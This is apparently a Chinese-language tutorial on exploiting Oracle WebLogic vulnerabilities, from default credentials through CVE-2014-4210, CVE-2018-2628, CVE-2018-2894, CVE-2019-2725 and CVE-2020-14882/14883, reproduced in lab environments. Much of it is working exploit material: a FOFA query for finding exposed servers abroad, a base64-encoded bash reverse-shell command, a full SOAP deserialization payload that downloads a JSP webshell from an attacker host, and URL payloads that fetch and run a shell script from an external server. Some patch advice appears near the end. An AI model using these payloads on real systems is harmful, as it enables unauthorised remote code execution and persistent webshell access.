Weblogic中间件漏洞
中间件简绍
常见的中间件
apache
nginx
iis
tomcat
weblogic
jboss
作用是:让一台计算机有处理网站的能力
weblogic javaee中间件(我们国家使用这个的频率很高,而且很多大厂每年争这个漏洞)
jboss javaee中间件
Weblogic
简介
WebLogic Server是美国甲骨文(Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间 件,确切的说是一个基于JavaEE架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部 署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
javaee就是java的企业版
特征
默认端口:7001
通过404判断是否是Weblogic
历史漏洞
WebLogic全系漏洞分析截至20230612-上 - FreeBuf网络安全行业门户
漏洞发现
fofa
fofa:app=”BEA-WebLogic-Server” && country!=”CN”
默认端口是7001
批量漏洞扫描
环境搭建
https://github.com/vulhub/vulhub/tree/master/weblogic
历史漏洞复现
WeakPassword
Weblogic存在管理后台,通过账号密码登录,由于管理员的疏忽,经常会使用弱口令,或者默认的户名密码
相关弱口令
账号:weblogic 密码:Oracle@123
复现
先使用蚁剑生成一个jsp木马
保存为jsp,然后使用
1
jar -cvf x.war x.jsp
然后登录console后台
上载文件
后面就一直下一步就可以了
最后完成
上传成功之后,访问
路径为:
war包名(不带war)/jsp名(要带jsp)
使用蚁剑连接就行
CVE-2014-4210
这个漏洞是一个ssrf 漏洞
简绍
Weblogic 中存在一个 SSRF 漏洞,利用该漏洞可以发送任意HTTP请求,进而可以攻 击内网中Redis、Fastcgi 等脆弱组件
漏洞产生于 /uddiexplorer/SearchPublicRegistries.jsp 页面中,可以导致 SSRF,用来攻击内网 中一些redis和fastcgi之类的脆弱组件
漏洞产生原因
该漏洞存在于WebLogic的UDDI Explorer组件中的SearchPublicRegistries.jsp
页面。UDDI(Universal Description, Discovery, and Integration)是一种用于发现Web服务的技术。
内网存活探测脚本
1 |
|
题外话:获取公网IP
curl cip.cc
CVE-2018-2628
漏洞简介
Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过T3协议触发,可导致未授权的用户在远程服务器执行任意命令
T3协议是Oracle WebLogic Server中的一种专有协议,用于在客户端和服务器之间进行通信。它建立在TCP/IP协议之上,是WebLogic Server的默认通信协议,主要用于处理Java客户端和WebLogic Server之间的交互。T3协议也称为丰富套接字,是BEA内部协议,功能丰富,可扩展性好。它是多工双向和异步协议,经过高度优化,只使用一个套接字和一条线程。
影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
漏洞成因
攻击者利用RMI绕过weblogic黑名单限制,将加载的内容利用readObject解析,造成反序列化漏洞,该漏洞主要由于T3协议触发,所有开放weblogic控制台7001端口,默认开启T3服务,攻击者发送构造好的T3协议数据,获取目标服务器的权限。
- rmi 使用黑名单限制
- T3 协议默认开启
攻击流程
搞懂RMI、JRMP、JNDI-终结篇 - 先知社区 (aliyun.com)
在自己主机中启动 JRMP Server服务并且开启监听,利用JRMP Client 生成一段payload payload中已经设置了攻击者服务器ip及JRMPListener监听的端口 ,利用漏洞exp脚本,将payload发送到有漏洞的weblogic服务器中 ,weblogic服务器接收到payload后,反序列化payload,去连接JRMP Server服务器,两者建立通讯,建立通讯后,JRMP Server服务会发送一段可执行命令的payload ,从而达到任意代码执行的操作
- 开启server 服务
- 开启client 服务
- 又client 发送携带payload 的exp 代码
- 受害者接受代码,连接server
- 连接之后serverv 发送可以命令执行的代码(java 唯一命令执行的函数runtime.exec)
漏洞检测
将url.txt 中的目标改为自己的目标
漏洞复现
其实根据上面的信息,我们就可以推断出整个流程
这里我们使用工具进行攻击
Lighird/CVE-2018-2628: CVE-2018-2628漏洞工具包 (github.com)
创建一个JRMP Server 端
1
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 10090 Jdk7u21 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzNy8yNDQ5NTkgMD4mMQ==}|{base64,-d}|{bash,-i}"
java -cp
是一条命令行指令,用于设置 Java 应用程序运行时的类路径(classpath)。Classpath 是一个或多个目录、JAR 文件或其他归档文件的列表,Java 虚拟机(JVM)会在这些位置查找用户类、第三方库以及其他依赖项。当你运行一个 Java 程序时,JVM 需要知道所有必需的类和库的位置,而-cp
参数就是用来指定这些位置的。ysoserial.exploit.JRMPListener 这个可以通过java -jar ysoserial-0.1-cve-2018-2628-all.jar 查看
10090 服务端的端口
Jdk7u21 为机器的jdk版本 如果jdk版本>1.7,则直接填写Jdk7u21即可
生成payload
1
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.79.137:10090 | xxd -p | tr -d $'\n' && echo
修改exp
开启nc 监听反弹的shell
运行脚本
会有点慢,需要等一下
CVE-2018-2894
介绍
在Weblogic Web Service Test Page中存在一处任意文件上传漏洞,Web Service Test Page 在”生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意 jsp 文件,进而获取 服务器权限。
环境搭建
利用vulhub里面的
漏洞复现
exp
1 |
|
执行exp
尝试访问
使用冰蝎连接
密码为:rebeyond
手动复现
比较麻烦
先获取一下管理员密码用于设置
1
docker-compose logs | grep password
尝试登录
利用密码登录之后
设置
ws_utc/config.do
修改为
1
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
因为这个目录是不需要密码的
利用
在ws_utc/config.do 安全中上传大马
注意是jsp 文件
审查元素获取时间戳
连接
访问http://ip:port/ws_utc/css/config/keystore/[时间戳]_[文件名]
http://192.168.79.167:7001/ws_utc/css/config/keystore/1720189002500_ant.jsp
CVE-2019-2725
这个是一个反序列化漏洞
序列化和反序列化
由于java程序都会将java类转变成为内存中的字节码,就是.class
文件,但是java是主要要后端,就需要使用网络通信,就需要转变成为可传输的形式
java内存中的对象 -> 字符串(字节码):序列化
|网络传输|
字符串(字节码)-> 内存中的java对象:反序列化
漏洞描述
Weblogic反序列化远程代码执行漏洞:
cnvd-c-2019-48814
cve-2019-2725
由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 HTTP 请 求,利用该漏洞获取服务器权限,实现远程代码执行。
影响版本
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
影响组件
bea_wls9_async_response.war
wsat.war
漏洞判断
判断不安全组件是否开启
通过访问路径/_async/AsyncResponseService
wls9_async_response.war包中的类由于使用注解方法调用了Weblogic原生处理Web服务的类,因此会受该漏洞影响
查看网站路径
/_async/AsyncResponseService?info
漏洞利用
https://github.com/TopScrew/CVE-2019-2725
工具利用
或者是
尝试反弹shell
手动利用
将攻击脚本上传至攻击机
准备一个冰蝎的jsp 脚本 然后添加后缀.txt
然后开启一个http 服务
抓包,然后放入poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.132.144:58832
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjM1MjA5NjEyLCJlbWFpbCI6IiJ9.cTSjCtV8thEmdfyP49gCsHldvX6KAAMjGQ209TCg0K8; JSESSIONID=050455BA3767B12181C6AA3E09AA3064
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 854
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://HackerIP:8080/JspSpy.jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/2.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>连接
漏洞修复
对应的补丁包
https://www.oracle.com/security-alerts/alert-cve-2019-2725.html
升级本地的jdk
因为Weblogic所采用的是其安装文件中默认1.6版本的JDK文件,属于存在反序列化漏洞的JDK版本,因 此升级到JDK7u21以上版本可以避免由于Java原生类反序列化漏洞造成的远程代码执行。
配置URL访问控制策略
部署于公网的WebLogic服务器,可通过ACL禁止对/_async/*及/wls-wsat/*路径的访问。
删除不安全文件
删除wls9_async_response.war与wls-wsat.war文件及相关文件夹,并重启Weblogic服务。
CVE-2020-14882
漏洞描述
Weblogic 管理控制台未授权远程命令执行漏洞
CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响范围
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.3
WebLogic 12.2.1.4
WebLogic 14.1.1.0
漏洞环境
docker-compose.yml
1 |
|
漏洞复现
CVE-2020-14882
这个是一个未授权访问
CVE-2020-14883
下面这个就是反弹shell,原理就是运用java的命令执行函数造成的
java 唯一一个命令执行函数:
java.lang.Runtime.getRuntime().exec()
下面是payload
常见文件夹
http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec (‘touch%20/tmp/august’);”)
因为这个是i靶场我们可以看这个文件是否创建
成功创建
这个相当于就是命令执行了,现在想反弹shell 可以敲反弹shell的命令,也可以直接下载反弹shell的脚本
现在我的vps模拟攻击机
先访问一下是否成功
现在攻击靶机
http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec (‘curl http://8.130.123.25:8000/linux_shell.sh -o /tmp/shell.sh’);”)
然后看一下是否成功
然后使用bash反弹shell
http://139.155.49.43:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec (‘/bin/bash /tmp/shell.sh’);”)
现在复现一下第二种方法,这个方式主要使用的是xml文件,而且对所有Weblogic都是有效的,原理就是weblogic会解析xml中我们插入的命令
test.xml
1 |
|
download.xml
1 |
|
runshell.xml
1 |
|
其实就是很简单的几个文件
记得这几个文件都要放到http.server文件下面才行
因为需要解析
我直接先监听一个端口
1 |
|
然后攻击
http://192.168.79.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=
&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://8.130.123.25:8000/download.xml“)
为了分辨我将这个换成了shell2.sh
然后执行,就是runshell.sh
http://192.168.79.128:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=
&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://8.130.123.25:8000/runshell.xml“)
方法三就是使用利群工具箱
漏洞修复
其实我们可以知道这一切都是由于未授权访问造成的后果
所以只要对
关闭后台/console/console.portal对外访问
进行授权就可以了